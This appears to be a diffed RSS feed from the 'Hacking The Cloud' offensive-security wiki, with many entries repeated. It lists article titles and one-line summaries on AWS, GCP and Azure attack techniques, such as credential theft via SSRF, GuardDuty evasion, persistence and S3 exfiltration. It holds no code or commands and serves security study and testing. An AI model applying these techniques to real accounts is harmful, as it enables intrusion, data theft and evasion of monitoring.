Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Feb 2024 03:21:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Fri, 09 Feb 2024 02:49:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Fri, 02 Feb 2024 00:17:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Tue, 23 Jan 2024 00:25:07 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Sun, 21 Jan 2024 17:34:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Sun, 21 Jan 2024 17:27:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 21 Jan 2024 17:20:20 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sat, 13 Jan 2024 20:48:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sat, 13 Jan 2024 01:04:53 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 11 Jan 2024 08:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Mon, 08 Jan 2024 15:03:16 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Sat, 06 Jan 2024 22:14:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Sat, 06 Jan 2024 20:43:40 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Thu, 04 Jan 2024 04:45:39 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Tue, 26 Dec 2023 20:35:31 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Fri, 08 Dec 2023 02:37:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Sun, 05 Nov 2023 18:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 18 Oct 2023 00:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Sat, 15 Jul 2023 15:12:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 17 Feb 2023 04:07:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Thu, 26 Jan 2023 01:07:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Mon, 09 Jan 2023 03:01:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Wed, 28 Dec 2022 18:47:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ \ No newline at end of file + Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Fri, 09 Aug 2024 15:04:30 -0000 Fri, 09 Aug 2024 15:04:30 -0000 1440 MkDocs RSS plugin - v1.15.0 Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Sun, 04 Aug 2024 21:24:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Wed, 31 Jul 2024 20:37:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 15:11:00 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:50:00 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sat, 15 Jun 2024 06:21:29 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Wed, 29 May 2024 03:08:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Tue, 28 May 2024 14:52:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sun, 14 Apr 2024 19:40:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/ Bypass GuardDuty Pentest Findings Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Thu, 15 Feb 2024 03:00:00 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Feb 2024 03:21:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Fri, 09 Feb 2024 02:49:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Fri, 02 Feb 2024 00:17:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Tue, 23 Jan 2024 00:25:07 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Sun, 21 Jan 2024 17:34:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Sun, 21 Jan 2024 17:27:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 21 Jan 2024 17:20:20 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sat, 13 Jan 2024 20:48:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sat, 13 Jan 2024 01:04:53 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 11 Jan 2024 08:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Mon, 08 Jan 2024 15:03:16 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Sat, 06 Jan 2024 22:14:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Sat, 06 Jan 2024 20:43:40 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Thu, 04 Jan 2024 04:45:39 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Tue, 26 Dec 2023 20:35:31 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Fri, 08 Dec 2023 02:37:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Sun, 05 Nov 2023 18:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 18 Oct 2023 00:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Sat, 15 Jul 2023 15:12:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 17 Feb 2023 04:07:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Thu, 26 Jan 2023 01:07:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Mon, 09 Jan 2023 03:01:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access 